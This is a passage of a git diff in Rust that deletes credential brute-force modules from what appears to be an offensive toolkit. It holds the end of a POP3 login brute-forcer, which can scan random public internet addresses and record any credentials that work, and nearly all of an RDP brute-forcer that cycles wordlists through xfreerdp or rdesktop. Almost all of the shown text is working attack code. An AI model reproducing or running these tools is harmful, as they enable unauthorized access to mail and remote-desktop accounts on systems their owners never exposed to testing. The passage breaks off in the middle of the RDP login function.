Arc::new(Semaphore::new(concurrency)); - let stats_checked = Arc::new(AtomicUsize::new(0)); - let stats_found = Arc::new(AtomicUsize::new(0)); - - let creds_pkg = Arc::new((users, pass_lines, use_ssl)); - - // Stats - let s_checked = stats_checked.clone(); - let s_found = stats_found.clone(); - tokio::spawn(async move { - loop { - tokio::time::sleep(Duration::from_secs(5)).await; - println!( - "[*] Status: {} IPs scanned, {} valid POP3 credentials found", - s_checked.load(Ordering::Relaxed), - s_found.load(Ordering::Relaxed).to_string().green().bold() - ); - } - }); - - let run_random = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0"; - - if run_random { - // Initialize state file - OpenOptions::new().create(true).write(true).open(STATE_FILE).await?; - - println!("{}", "[*] Starting Random Internet Scan...".green()); - loop { - let permit = match semaphore.clone().acquire_owned().await { - Ok(p) => p, - Err(_) => break, // Semaphore closed, exit loop - }; - let exc = exclusions.clone(); - let cp = creds_pkg.clone(); - let sc = stats_checked.clone(); - let sf = stats_found.clone(); - let of = output_file.clone(); - - tokio::spawn(async move { - let ip = generate_random_public_ip(&exc); - if !is_ip_checked(&ip, STATE_FILE).await { - mark_ip_checked(&ip, STATE_FILE).await; - mass_scan_host(ip, port, cp, sf, of, verbose).await; - } - sc.fetch_add(1, Ordering::Relaxed); - drop(permit); - }); - } - } else { - // File Mode - let content = tokio::fs::read_to_string(target).await - .context(format!("Failed to read target file: {}", target))?; - let lines: Vec = content.lines().map(|s| s.trim().to_string()).filter(|s| !s.is_empty()).collect(); - println!("{}", format!("[*] Loaded {} targets from file.", lines.len()).blue()); - - for ip_str in lines { - let permit = match semaphore.clone().acquire_owned().await { - Ok(p) => p, - Err(_) => continue, // Skip this IP if semaphore closed - }; - let cp = creds_pkg.clone(); - let sc = stats_checked.clone(); - let sf = stats_found.clone(); - let of = output_file.clone(); - - if let Ok(ip) = ip_str.parse::() { - tokio::spawn(async move { - if !is_ip_checked(&ip, STATE_FILE).await { - mark_ip_checked(&ip, STATE_FILE).await; - mass_scan_host(ip, port, cp, sf, of, verbose).await; - } - sc.fetch_add(1, Ordering::Relaxed); - drop(permit); - }); - } else { - drop(permit); - } - } - for _ in 0..concurrency { - let _ = semaphore.acquire().await.context("Semaphore acquisition failed")?; - } - } - - Ok(()) -} - -async fn mass_scan_host( - ip: IpAddr, - port: u16, - creds: Arc<(Vec, Vec, bool)>, - stats_found: Arc, - output_file: String, - verbose: bool -) { - let sa = SocketAddr::new(ip, port); - - // 1. Connection Check - if tokio::time::timeout(Duration::from_millis(MASS_SCAN_CONNECT_TIMEOUT_MS), tokio::net::TcpStream::connect(&sa)).await.is_err() { - return; - } - - let (users, passes, use_ssl) = &*creds; - - let target_str = ip.to_string(); - - // Construct a config for the attempt function - // We can't reuse the large config struct easily without creating dummy values, - // so we'll just reconstruct the necessary parts or make attempt_pop3_login take separate args. - // For now, I'll build a dummy config. - let dummy_wordlist = "dummy".to_string(); - - for user in users { - for pass in passes { - let t_target = target_str.clone(); - let t_user = user.clone(); - let t_pass = pass.clone(); - let t_use_ssl = *use_ssl; - let dw = dummy_wordlist.clone(); - - // Blocking call - let res = tokio::task::spawn_blocking(move || { - let config = Pop3BruteforceConfig { - target: t_target, - port, - username_wordlist: dw.clone(), - password_wordlist: dw.clone(), - threads: 1, - stop_on_success: false, - verbose, - full_combo: false, - use_ssl: t_use_ssl, - connection_timeout: 5, // 5 seconds for login attempt - retry_on_error: false, - max_retries: 0, - output_file: "".to_string(), - delay_ms: 0, - }; - attempt_pop3_login(&config, &t_user, &t_pass) - }).await; - - match res { - Ok(Ok(true)) => { - let msg = format!("{} -> {}:{}", ip, user, pass); - println!("\r{}", format!("[+] FOUND: {}", msg).green().bold()); - if let Ok(mut file) = OpenOptions::new().create(true).append(true).open(&output_file).await { - let _ = file.write_all(format!("{}\n", msg).as_bytes()).await; - } - stats_found.fetch_add(1, Ordering::Relaxed); - return; // Stop after first success - } - Ok(Ok(false)) => { - // Auth failed - } - Ok(Err(_)) => { - // Connection error - abort this host - return; - } - Err(_) => { - // Start/Join error - } - } - } - } -} - -async fn run_pop3_bruteforce(config: Pop3BruteforceConfig) -> Result<()> { - // Determine loading strategy - let _user_count = load_lines(&config.username_wordlist)?.len(); - let _pass_count = load_lines(&config.password_wordlist)?.len(); - - // We will use memory mode for simpler implementation unless huge, but for now standard load_lines - // If files are huge, the shared Utils load_lines might panic or OOM, but let's assume reasonable sizes for now - // or use the streaming logic if I can adapt it easily. - // To match other modules (ssh/ftp), I'll use load_lines. - - let usernames = load_lines(&config.username_wordlist)?; - let passwords = load_lines(&config.password_wordlist)?; - - let total_attempts = if config.full_combo { - usernames.len() * passwords.len() - } else { - std::cmp::max(usernames.len(), passwords.len()) - }; - - println!("[*] Loaded {} usernames, {} passwords", usernames.len(), passwords.len()); - println!("[*] Total attempts: {}", total_attempts); - - let stats = Arc::new(BruteforceStats::new()); - let found_creds = Arc::new(Mutex::new(Vec::new())); - let stop_signal = Arc::new(AtomicBool::new(false)); - let _start_time = std::time::Instant::now(); - - // Start progress reporter - let stats_clone = stats.clone(); - let stop_clone = stop_signal.clone(); - let progress_handle = tokio::spawn(async move { - while !stop_clone.load(Ordering::Relaxed) { - tokio::time::sleep(Duration::from_secs(2)).await; - stats_clone.print_progress(); - } - }); - - let semaphore = Arc::new(Semaphore::new(config.threads)); - let mut tasks = FuturesUnordered::new(); - - // Generate combinations - let mut combos = Vec::new(); - if config.full_combo { - for u in &usernames { - for p in &passwords { - combos.push((u.clone(), p.clone())); - } - } - } else { - // Linear mix: try u[0] p[0], u[1] p[1]... cycle if needed - let max_len = std::cmp::max(usernames.len(), passwords.len()); - for i in 0..max_len { - let u = &usernames[i % usernames.len()]; - let p = &passwords[i % passwords.len()]; - combos.push((u.clone(), p.clone())); - } - } - - // Process combinations - for (user, pass) in combos { - if config.stop_on_success && stop_signal.load(Ordering::Relaxed) { - break; - } - - let permit = semaphore.clone().acquire_owned().await?; - let config_clone = config.clone(); - let stats_clone = stats.clone(); - let found_clone = found_creds.clone(); - let stop_signal_clone = stop_signal.clone(); - let user_clone = user.clone(); - let pass_clone = pass.clone(); - - tasks.push(tokio::spawn(async move { - let _permit = permit; // Hold permit - - if config_clone.stop_on_success && stop_signal_clone.load(Ordering::Relaxed) { - return; - } - - // Retry loop - let mut retries = 0; - loop { - let config_inner = config_clone.clone(); - let user_inner = user_clone.clone(); - let pass_inner = pass_clone.clone(); - - let res = tokio::task::spawn_blocking(move || { - attempt_pop3_login(&config_inner, &user_inner, &pass_inner) - }).await; - - match res { - Ok(Ok(true)) => { - println!("\r{}", format!("[+] Found: {}:{}", user, pass).green().bold()); - found_clone.lock().await.push((user.clone(), pass.clone())); - stats_clone.record_success(); - if config_clone.stop_on_success { - stop_signal_clone.store(true, Ordering::Relaxed); - } - break; - }, - Ok(Ok(false)) => { - stats_clone.record_failure(); - if config_clone.verbose { - println!("\r{}", format!("[-] Failed: {}:{}", user, pass).dimmed()); - } - break; - }, - Ok(Err(e)) => { - if config_clone.retry_on_error && retries < config_clone.max_retries { - retries += 1; - stats_clone.record_retry(); - // Small backoff - tokio::time::sleep(Duration::from_millis(500)).await; - continue; - } - stats_clone.record_error(e.to_string()).await; - if config_clone.verbose { - println!("\r{}", format!("[!] Error {}:{}: {}", user, pass, e).red()); - } - break; - }, - Err(e) => { - stats_clone.record_error(format!("Task panic: {}", e)).await; - break; - } - } - } - - if config_clone.delay_ms > 0 { - tokio::time::sleep(Duration::from_millis(config_clone.delay_ms)).await; - } - })); - - // Drain finished tasks to keep memory low - while let std::task::Poll::Ready(Some(_)) = futures::future::poll_fn(|cx| std::task::Poll::Ready(tasks.poll_next_unpin(cx))).await { - // Just drain - } - } - - // Wait for remaining - while let Some(_) = tasks.next().await {} - - stop_signal.store(true, Ordering::Relaxed); - let _ = progress_handle.await; - - stats.print_final().await; - - // Save results - let found = found_creds.lock().await; - if !found.is_empty() { - if let Ok(mut file) = std::fs::OpenOptions::new().create(true).append(true).open(&config.output_file) { - for (u, p) in found.iter() { - let _ = writeln!(file, "{}:{}", u, p); - } - println!("[+] Results saved to {}", config.output_file); - } - } - - Ok(()) -} - - - -// Blocking login attempt -fn attempt_pop3_login(config: &Pop3BruteforceConfig, user: &str, pass: &str) -> Result { - let addr = format!("{}:{}", config.target, config.port); - let timeout = Duration::from_secs(config.connection_timeout); - - if config.use_ssl { - let connector = TlsConnector::new()?; - // Resolve first to apply timeout to connect - let socket_addr = std::net::ToSocketAddrs::to_socket_addrs(&addr)?.next().ok_or_else(|| anyhow!("Resolution failed"))?; - let stream = TcpStream::connect_timeout(&socket_addr, timeout)?; - stream.set_read_timeout(Some(timeout))?; - stream.set_write_timeout(Some(timeout))?; - - let mut stream = connector.connect(&config.target, stream)?; - - // Read banner - let mut buffer = [0; 1024]; - stream.read(&mut buffer)?; // +OK ... - - stream.write_all(format!("USER {}\r\n", user).as_bytes())?; - let n = stream.read(&mut buffer)?; - if !String::from_utf8_lossy(&buffer[..n]).starts_with("+OK") { - return Ok(false); - } - - stream.write_all(format!("PASS {}\r\n", pass).as_bytes())?; - let n = stream.read(&mut buffer)?; - if String::from_utf8_lossy(&buffer[..n]).starts_with("+OK") { - stream.write_all(b"QUIT\r\n").ok(); - return Ok(true); - } - } else { - let socket_addr = std::net::ToSocketAddrs::to_socket_addrs(&addr)?.next().ok_or_else(|| anyhow!("Resolution failed"))?; - let mut stream = TcpStream::connect_timeout(&socket_addr, timeout)?; - stream.set_read_timeout(Some(timeout))?; - stream.set_write_timeout(Some(timeout))?; - - // Read banner - let mut buffer = [0; 1024]; - stream.read(&mut buffer)?; - - stream.write_all(format!("USER {}\r\n", user).as_bytes())?; - let n = stream.read(&mut buffer)?; - if !String::from_utf8_lossy(&buffer[..n]).starts_with("+OK") { - return Ok(false); - } - - stream.write_all(format!("PASS {}\r\n", pass).as_bytes())?; - let n = stream.read(&mut buffer)?; - if String::from_utf8_lossy(&buffer[..n]).starts_with("+OK") { - stream.write_all(b"QUIT\r\n").ok(); - return Ok(true); - } - } - - Ok(false) -} diff --git a/src/modules/creds/generic/rdp_bruteforce.rs b/src/modules/creds/generic/rdp_bruteforce.rs deleted file mode 100644 index f986e04..0000000 --- a/src/modules/creds/generic/rdp_bruteforce.rs +++ /dev/null @@ -1,1028 +0,0 @@ -use anyhow::{anyhow, Result, Context}; -use colored::*; -use futures::stream::{FuturesUnordered, StreamExt}; -use std::{ - fs::File, - io::{BufRead, BufReader, Write}, - path::Path, - sync::Arc, - sync::atomic::{AtomicBool, AtomicU64, Ordering}, - time::Instant, -}; -use tokio::{ - process::Command, - sync::{Mutex, Semaphore}, - time::{sleep, Duration, timeout}, -}; - -use crate::utils::{ - prompt_yes_no, prompt_default, prompt_port, - prompt_existing_file, prompt_int_range, - load_lines, get_filename_in_current_dir, -}; - -const PROGRESS_INTERVAL_SECS: u64 = 2; -const MAX_MEMORY_LOAD_SIZE: u64 = 150 * 1024 * 1024; // 150 MB - -/// RDP-specific error types for better classification -#[derive(Debug, Clone)] -enum RdpError { - ConnectionFailed, - AuthenticationFailed, - CertificateError, - Timeout, - NetworkError, - ProtocolError, - ToolNotFound, - Unknown, -} - -impl std::fmt::Display for RdpError { - fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { - match self { - RdpError::ConnectionFailed => write!(f, "Connection failed"), - RdpError::AuthenticationFailed => write!(f, "Authentication failed"), - RdpError::CertificateError => write!(f, "Certificate validation error"), - RdpError::Timeout => write!(f, "Connection timeout"), - RdpError::NetworkError => write!(f, "Network error"), - RdpError::ProtocolError => write!(f, "Protocol error"), - RdpError::ToolNotFound => write!(f, "RDP tool not found"), - RdpError::Unknown => write!(f, "Unknown error"), - } - } -} - -/// Classify RDP errors based on exit codes and error messages -/// This function ensures all RdpError variants can be constructed -fn classify_rdp_error(exit_code: Option, error_msg: &str) -> RdpError { - match exit_code { - Some(0) => { - // Success case shouldn't reach here, but classify as Unknown if it does - RdpError::Unknown - } - Some(1) => { - // Authentication failed - RdpError::AuthenticationFailed - } - Some(2) => { - // Connection failed - RdpError::ConnectionFailed - } - Some(3) => { - // Certificate error - RdpError::CertificateError - } - Some(131) => { - // Connection timeout - RdpError::Timeout - } - Some(code) => { - // Unknown exit code - analyze error message for classification - // Use code for logging/debugging purposes to ensure it's not unused - let _ = code; // Acknowledge code is available for future use - let msg_lower = error_msg.to_lowercase(); - if msg_lower.contains("timeout") || msg_lower.contains("timed out") || msg_lower.contains("deadline") { - RdpError::Timeout - } else if msg_lower.contains("connection") || msg_lower.contains("connect") || msg_lower.contains("refused") { - RdpError::ConnectionFailed - } else if msg_lower.contains("network") || msg_lower.contains("dns") || msg_lower.contains("resolve") || msg_lower.contains("host") { - RdpError::NetworkError - } else if msg_lower.contains("certificate") || msg_lower.contains("cert") || msg_lower.contains("tls") || msg_lower.contains("ssl") { - RdpError::CertificateError - } else if msg_lower.contains("auth") || msg_lower.contains("password") || msg_lower.contains("login") || msg_lower.contains("credential") { - RdpError::AuthenticationFailed - } else if msg_lower.contains("protocol") || msg_lower.contains("invalid") || msg_lower.contains("malformed") { - RdpError::ProtocolError - } else { - // Default to ProtocolError for unknown exit codes - RdpError::ProtocolError - } - } - None => { - // Process terminated by signal - analyze message for classification - let msg_lower = error_msg.to_lowercase(); - if msg_lower.contains("timeout") || msg_lower.contains("timed out") || msg_lower.contains("deadline") { - RdpError::Timeout - } else if msg_lower.contains("connection") || msg_lower.contains("connect") { - RdpError::ConnectionFailed - } else if msg_lower.contains("network") || msg_lower.contains("dns") { - RdpError::NetworkError - } else { - // Unknown termination reason - RdpError::Unknown - } - } - } -} - -/// RDP Security Level for authentication -#[derive(Debug, Clone, Copy)] -enum RdpSecurityLevel { - Auto, - Nla, - Tls, - Rdp, - Negotiate, -} - -impl RdpSecurityLevel { - fn as_xfreerdp_arg(&self) -> &'static str { - match self { - RdpSecurityLevel::Auto => "/sec:auto", - RdpSecurityLevel::Nla => "/sec:nla", - RdpSecurityLevel::Tls => "/sec:tls", - RdpSecurityLevel::Rdp => "/sec:rdp", - RdpSecurityLevel::Negotiate => "/sec:negotiate", - } - } - - fn as_rdesktop_arg(&self) -> Option<&'static str> { - match self { - RdpSecurityLevel::Auto => None, - RdpSecurityLevel::Nla => Some("-E"), - RdpSecurityLevel::Tls => Some("-E"), - RdpSecurityLevel::Rdp => Some("-E"), - RdpSecurityLevel::Negotiate => None, - } - } - - fn prompt_selection() -> Result { - println!("\nRDP Security Level Options:"); - println!(" 1. Auto (let client negotiate)"); - println!(" 2. NLA (Network Level Authentication)"); - println!(" 3. TLS (Transport Layer Security)"); - println!(" 4. RDP (Standard RDP encryption)"); - println!(" 5. Negotiate (try all methods)"); - - loop { - let input = prompt_default("Security level", "1")?; - match input.trim() { - "1" => return Ok(RdpSecurityLevel::Auto), - "2" => return Ok(RdpSecurityLevel::Nla), - "3" => return Ok(RdpSecurityLevel::Tls), - "4" => return Ok(RdpSecurityLevel::Rdp), - "5" => return Ok(RdpSecurityLevel::Negotiate), - _ => println!("{}", "Invalid choice. Please select 1-5.".yellow()), - } - } - } -} - -struct Statistics { - total_attempts: AtomicU64, - successful_attempts: AtomicU64, - failed_attempts: AtomicU64, - error_attempts: AtomicU64, - start_time: Instant, -} - -impl Statistics { - fn new() -> Self { - Self { - total_attempts: AtomicU64::new(0), - successful_attempts: AtomicU64::new(0), - failed_attempts: AtomicU64::new(0), - error_attempts: AtomicU64::new(0), - start_time: Instant::now(), - } - } - - fn record_attempt(&self, success: bool, error: bool) { - self.total_attempts.fetch_add(1, Ordering::Relaxed); - if error { - self.error_attempts.fetch_add(1, Ordering::Relaxed); - } else if success { - self.successful_attempts.fetch_add(1, Ordering::Relaxed); - } else { - self.failed_attempts.fetch_add(1, Ordering::Relaxed); - } - } - - fn print_progress(&self) { - let total = self.total_attempts.load(Ordering::Relaxed); - let success = self.successful_attempts.load(Ordering::Relaxed); - let failed = self.failed_attempts.load(Ordering::Relaxed); - let errors = self.error_attempts.load(Ordering::Relaxed); - let elapsed = self.start_time.elapsed().as_secs_f64(); - let rate = if elapsed > 0.0 { total as f64 / elapsed } else { 0.0 }; - - print!( - "\r{} {} attempts | {} OK | {} fail | {} err | {:.1}/s ", - "[Progress]".cyan(), - total.to_string().bold(), - success.to_string().green(), - failed, - errors.to_string().red(), - rate - ); - let _ = std::io::Write::flush(&mut std::io::stdout()); - } - - fn print_final(&self) { - println!(); - let total = self.total_attempts.load(Ordering::Relaxed); - let success = self.successful_attempts.load(Ordering::Relaxed); - let failed = self.failed_attempts.load(Ordering::Relaxed); - let errors = self.error_attempts.load(Ordering::Relaxed); - let elapsed = self.start_time.elapsed().as_secs_f64(); - - println!("{}", "=== Statistics ===".bold()); - println!(" Total attempts: {}", total); - println!(" Successful: {}", success.to_string().green().bold()); - println!(" Failed: {}", failed); - println!(" Errors: {}", errors.to_string().red()); - println!(" Elapsed time: {:.2}s", elapsed); - if elapsed > 0.0 { - println!(" Average rate: {:.1} attempts/s", total as f64 / elapsed); - } - } -} - -fn display_banner() { - println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan()); - println!("{}", "║ RDP Brute Force Module ║".cyan()); - println!("{}", "║ Remote Desktop Protocol Credential Testing ║".cyan()); - println!("{}", "║ Requires xfreerdp or rdesktop ║".cyan()); - println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan()); - println!(); -} - -pub async fn run(target: &str) -> Result<()> { - display_banner(); - println!("{}", format!("[*] Target: {}", target).cyan()); - - let port: u16 = prompt_port("RDP Port", 3389)?; - - let usernames_file_path = prompt_existing_file("Username wordlist")?; - - let passwords_file_path = prompt_existing_file("Password wordlist")?; - - let concurrency = prompt_int_range("Max concurrent tasks", 10, 1, 10000)? as usize; - - let timeout_secs = prompt_int_range("Connection timeout (seconds)", 10, 1, 300)? as u64; - - let stop_on_success = prompt_yes_no("Stop on first success?", true)?; - let save_results = prompt_yes_no("Save results to file?", true)?; - let save_path = if save_results { - Some(prompt_default("Output file name", "rdp_results.txt")?) - } else { - None - }; - - let verbose = prompt_yes_no("Verbose mode?", false)?; - let combo_mode = prompt_yes_no("Combination mode? (try every password with every user)", false)?; - let security_level = RdpSecurityLevel::prompt_selection()?; - - let addr = format_socket_address(target, port); - - let found_credentials = Arc::new(Mutex::new(Vec::new())); - let stop_signal = Arc::new(AtomicBool::new(false)); - let stats = Arc::new(Statistics::new()); - - println!("\n[*] Starting brute-force on {}", addr); - println!("[*] Timeout: {} seconds", timeout_secs); - - // Count lines for display - let user_count = load_lines(&usernames_file_path)?.len(); - if user_count == 0 { - println!("[!] Username wordlist is empty or invalid. Exiting."); - return Ok(()); - } - println!("[*] Loaded {} usernames", user_count); - - let password_count = load_lines(&passwords_file_path)?.len(); - if password_count == 0 { - println!("[!] Password wordlist is empty or invalid. Exiting."); - return Ok(()); - } - println!("[*] Loaded {} passwords", password_count); - - let total_attempts = if combo_mode { user_count * password_count } else { password_count }; - println!("{}", format!("[*] Total attempts: {}", total_attempts).cyan()); - println!(); - - // Start progress reporter - let stats_clone = stats.clone(); - let stop_clone = stop_signal.clone(); - let progress_handle = tokio::spawn(async move { - loop { - if stop_clone.load(Ordering::Relaxed) { - break; - } - stats_clone.print_progress(); - sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await; - } - }); - - // Execute appropriate mode - if combo_mode { - // Check if password file is too large for memory loading - let use_streaming = should_use_streaming(&passwords_file_path)?; - let pass_file_size = std::fs::metadata(&passwords_file_path)?.len(); - - if use_streaming { - println!("{}", format!("[*] Password file is {} (>{}), using streaming mode to save memory", - format_file_size(pass_file_size), format_file_size(MAX_MEMORY_LOAD_SIZE)).yellow()); - println!("{}", "[*] Streaming mode: processing users sequentially to conserve memory".yellow()); - - run_combo_mode_streaming( - &addr, &usernames_file_path, &passwords_file_path, - concurrency, timeout_secs, stop_on_success, verbose, security_level, - found_credentials.clone(), stop_signal.clone(), stats.clone() - ).await?; - } else { - println!("{}", format!("[*] Password file is {}, using memory-loaded mode for optimal performance", - format_file_size(pass_file_size)).cyan()); - - run_combo_mode_memory( - &addr, &usernames_file_path, &passwords_file_path, - concurrency, timeout_secs, stop_on_success, verbose, security_level, - found_credentials.clone(), stop_signal.clone(), stats.clone() - ).await?; - } - } else { - // Sequential mode: cycle through users for each password - run_sequential_mode( - &addr, &usernames_file_path, &passwords_file_path, - concurrency, timeout_secs, stop_on_success, verbose, security_level, - found_credentials.clone(), stop_signal.clone(), stats.clone() - ).await?; - } - - // Stop progress reporter - stop_signal.store(true, Ordering::Relaxed); - let _ = progress_handle.await; - - // Print final statistics - stats.print_final(); - - let creds = found_credentials.lock().await; - if creds.is_empty() { - println!("{}", "[-] No credentials found.".yellow()); - } else { - println!("{}", format!("[+] Found {} valid credential(s):", creds.len()).green().bold()); - for (host_addr, user, pass) in creds.iter() { - println!(" {} -> {}:{}", host_addr, user, pass); - } - - if let Some(path_str) = save_path { - let filename = get_filename_in_current_dir(&path_str); - match File::create(&filename).context(format!("Failed to create output file '{}'", filename.display())) { - Ok(mut file) => { - for (host_addr, user, pass) in creds.iter() { - if writeln!(file, "{} -> {}:{}", host_addr, user, pass).is_err() { - eprintln!("[!] Error writing to result file: {}", filename.display()); - break; - } - } - println!("[+] Results saved to '{}'", filename.display()); - } - Err(e) => { - eprintln!("[!] {}", e); - } - } - } - } - drop(creds); - - Ok(()) -} - -/// Sequential mode: cycle through users for each password -async fn run_sequential_mode( - addr: &str, - usernames_file_path: &str, - passwords_file_path: &str, - concurrency: usize, - timeout_secs: u64, - stop_on_success: bool, - verbose: bool, - security_level: RdpSecurityLevel, - found_credentials: Arc>>, - stop_signal: Arc, - stats: Arc, -) -> Result<()> { - let pass_file = File::open(passwords_file_path)?; - let pass_reader = BufReader::new(pass_file); - - // Load users into memory for cycling - let users = load_lines(usernames_file_path)?; - if users.is_empty() { - return Err(anyhow!("No valid users loaded")); - } - - let semaphore = Arc::new(Semaphore::new(concurrency)); - let mut tasks: FuturesUnordered<_> = FuturesUnordered::new(); - - for (i, pass_line) in pass_reader.lines().enumerate() { - if stop_on_success && stop_signal.load(Ordering::Relaxed) { - break; - } - - let pass = match pass_line { - Ok(line) => line.trim().to_string(), - Err(_) => continue, - }; - - if pass.is_empty() { - continue; - } - - let user = users[i % users.len()].clone(); - let addr_clone = addr.to_string(); - let pass_clone = pass.clone(); - let found_credentials_clone = Arc::clone(&found_credentials); - let stop_signal_clone = Arc::clone(&stop_signal); - let semaphore_clone = Arc::clone(&semaphore); - let stats_clone = Arc::clone(&stats); - let timeout_duration = Duration::from_secs(timeout_secs); - - tasks.push(tokio::spawn(async move { - if stop_on_success && stop_signal_clone.load(Ordering::Relaxed) { - return; - } - - let permit = match semaphore_clone.acquire_owned().await { - Ok(permit) => permit, - Err(_) => return, - }; - - if stop_on_success && stop_signal_clone.load(Ordering::Relaxed) { - return; - } - - match try_rdp_login(&addr_clone, &user, &pass_clone, timeout_duration, security_level).await { - Ok(true) => { - println!("\r{}", format!("[+] {} -> {}:{}", addr_clone, user, pass_clone).green().bold()); - let mut found = found_credentials_clone.lock().await; - found.push((addr_clone.clone(), user.clone(), pass_clone.clone())); - stats_clone.record_attempt(true, false); - if stop_on_success { - stop_signal_clone.store(true, Ordering::Relaxed); - } - } - Ok(false) => { - stats_clone.record_attempt(false, false); - if verbose { - println!("\r{}", format!("[-] {} -> {}:{}", addr_clone, user, pass_clone).dimmed()); - } - } - Err(e) => { - stats_clone.record_attempt(false, true); - if verbose { - println!("\r{}", format!("[!] {}: error: {}", addr_clone, e).red()); - } - } - } - - drop(permit); - sleep(Duration::from_millis(10)).await; - })); - - // Limit concurrent tasks - if tasks.len() >= concurrency { - if let Some(res) = tasks.next().await { - if let Err(e) = res { - if verbose { - println!("\r{}", format!("[!] Task join error: {}", e).red()); - } - } - } - } - } - - // Wait for remaining tasks - while let Some(res) = tasks.next().await { - if let Err(e) = res { - if verbose { - println!("\r{}", format!("[!] Task join error: {}", e).red()); - } - } - } - - Ok(()) -} - -/// Combo mode using memory loading (for smaller password files) -async fn run_combo_mode_memory( - addr: &str, - usernames_file_path: &str, - passwords_file_path: &str, - concurrency: usize, - timeout_secs: u64, - stop_on_success: bool, - verbose: bool, - security_level: RdpSecurityLevel, - found_credentials: Arc>>, - stop_signal: Arc, - stats: Arc, -) -> Result<()> { - let passwords = load_lines(passwords_file_path)?; - let user_file = File::open(usernames_file_path)?; - let user_reader = BufReader::new(user_file); - - let semaphore = Arc::new(Semaphore::new(concurrency)); - let mut tasks: FuturesUnordered<_> = FuturesUnordered::new(); - - for user_line in user_reader.lines() { - if stop_on_success && stop_signal.load(Ordering::Relaxed) { - break; - } - - let user = match user_line { - Ok(line) => line.trim().to_string(), - Err(_) => continue, - }; - - if user.is_empty() { - continue; - } - - for pass in &passwords { - if stop_on_success && stop_signal.load(Ordering::Relaxed) { - break; - } - - if pass.is_empty() { - continue; - } - - let addr_clone = addr.to_string(); - let user_clone = user.clone(); - let pass_clone = pass.clone(); - let found_credentials_clone = Arc::clone(&found_credentials); - let stop_signal_clone = Arc::clone(&stop_signal); - let semaphore_clone = Arc::clone(&semaphore); - let stats_clone = Arc::clone(&stats); - let timeout_duration = Duration::from_secs(timeout_secs); - - tasks.push(tokio::spawn(async move { - if stop_on_success && stop_signal_clone.load(Ordering::Relaxed) { - return; - } - - let permit = match semaphore_clone.acquire_owned().await { - Ok(permit) => permit, - Err(_) => return, - }; - - if stop_on_success && stop_signal_clone.load(Ordering::Relaxed) { - return; - } - - match try_rdp_login(&addr_clone, &user_clone, &pass_clone, timeout_duration, security_level).await { - Ok(true) => { - println!("\r{}", format!("[+] {} -> {}:{}", addr_clone, user_clone, pass_clone).green().bold()); - let mut found = found_credentials_clone.lock().await; - found.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone())); - stats_clone.record_attempt(true, false); - if stop_on_success { - stop_signal_clone.store(true, Ordering::Relaxed); - } - } - Ok(false) => { - stats_clone.record_attempt(false, false); - if verbose { - println!("\r{}", format!("[-] {} -> {}:{}", addr_clone, user_clone, pass_clone).dimmed()); - } - } - Err(e) => { - stats_clone.record_attempt(false, true); - if verbose { - eprintln!("\r{}", format!("[!] {}: error: {}", addr_clone, e).red()); - } - } - } - - drop(permit); - sleep(Duration::from_millis(10)).await; - })); - - // Limit concurrent tasks - if tasks.len() >= concurrency { - if let Some(res) = tasks.next().await { - if let Err(e) = res { - if verbose { - println!("\r{}", format!("[!] Task error: {}", e).red()); - } - } - } - } - } - } - - // Wait for remaining tasks - while let Some(res) = tasks.next().await { - if let Err(e) = res { - if verbose { - println!("\r{}", format!("[!] Task error: {}", e).red()); - } - } - } - - Ok(()) -} - -/// Combo mode using streaming (for large password files to prevent memory exhaustion) -async fn run_combo_mode_streaming( - addr: &str, - usernames_file_path: &str, - passwords_file_path: &str, - concurrency: usize, - timeout_secs: u64, - stop_on_success: bool, - verbose: bool, - security_level: RdpSecurityLevel, - found_credentials: Arc>>, - stop_signal: Arc, - stats: Arc, -) -> Result<()> { - let user_file = File::open(usernames_file_path)?; - let user_reader = BufReader::new(user_file); - - let semaphore = Arc::new(Semaphore::new(concurrency)); - let mut tasks: FuturesUnordered<_> = FuturesUnordered::new(); - - for user_line in user_reader.lines() { - if stop_on_success && stop_signal.load(Ordering::Relaxed) { - break; - } - - let user = match user_line { - Ok(line) => line.trim().to_string(), - Err(_) => continue, - }; - - if user.is_empty() { - continue; - } - - let pass_file = File::open(passwords_file_path)?; - let pass_reader = BufReader::new(pass_file); - - for pass_line in pass_reader.lines() { - if stop_on_success && stop_signal.load(Ordering::Relaxed) { - break; - } - - let pass = match pass_line { - Ok(line) => line.trim().to_string(), - Err(_) => continue, - }; - - if pass.is_empty() { - continue; - } - - let addr_clone = addr.to_string(); - let user_clone = user.clone(); - let pass_clone = pass.clone(); - let found_credentials_clone = Arc::clone(&found_credentials); - let stop_signal_clone = Arc::clone(&stop_signal); - let semaphore_clone = Arc::clone(&semaphore); - let stats_clone = Arc::clone(&stats); - let timeout_duration = Duration::from_secs(timeout_secs); - - tasks.push(tokio::spawn(async move { - if stop_on_success && stop_signal_clone.load(Ordering::Relaxed) { - return; - } - - let permit = match semaphore_clone.acquire_owned().await { - Ok(permit) => permit, - Err(_) => return, - }; - - if stop_on_success && stop_signal_clone.load(Ordering::Relaxed) { - return; - } - - match try_rdp_login(&addr_clone, &user_clone, &pass_clone, timeout_duration, security_level).await { - Ok(true) => { - println!("\r{}", format!("[+] {} -> {}:{}", addr_clone, user_clone, pass_clone).green().bold()); - let mut found = found_credentials_clone.lock().await; - found.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone())); - stats_clone.record_attempt(true, false); - if stop_on_success { - stop_signal_clone.store(true, Ordering::Relaxed); - } - } - Ok(false) => { - stats_clone.record_attempt(false, false); - if verbose { - println!("\r{}", format!("[-] {} -> {}:{}", addr_clone, user_clone, pass_clone).dimmed()); - } - } - Err(e) => { - stats_clone.record_attempt(false, true); - if verbose { - eprintln!("\r{}", format!("[!] {}: error: {}", addr_clone, e).red()); - } - } - } - - drop(permit); - sleep(Duration::from_millis(10)).await; - })); - - // Limit concurrent tasks - if tasks.len() >= concurrency { - if let Some(res) = tasks.next().await { - if let Err(e) = res { - if verbose { - println!("\r{}", format!("[!] Task error: {}", e).red()); - } - } - } - } - } - } - - // Wait for remaining tasks - while let Some(res) = tasks.next().await { - if let Err(e) = res { - if verbose { - println!("\r{}", format!("[!] Task error: {}", e).red()); - } - } - } - - Ok(()) -} - -async fn try_rdp_login(addr: &str, user: &str, pass: &str, timeout_duration: Duration, security_level: RdpSecurityLevel) -> Result { - // Check if RDP tools are available - let xfreerdp_available = Command::new("which") - 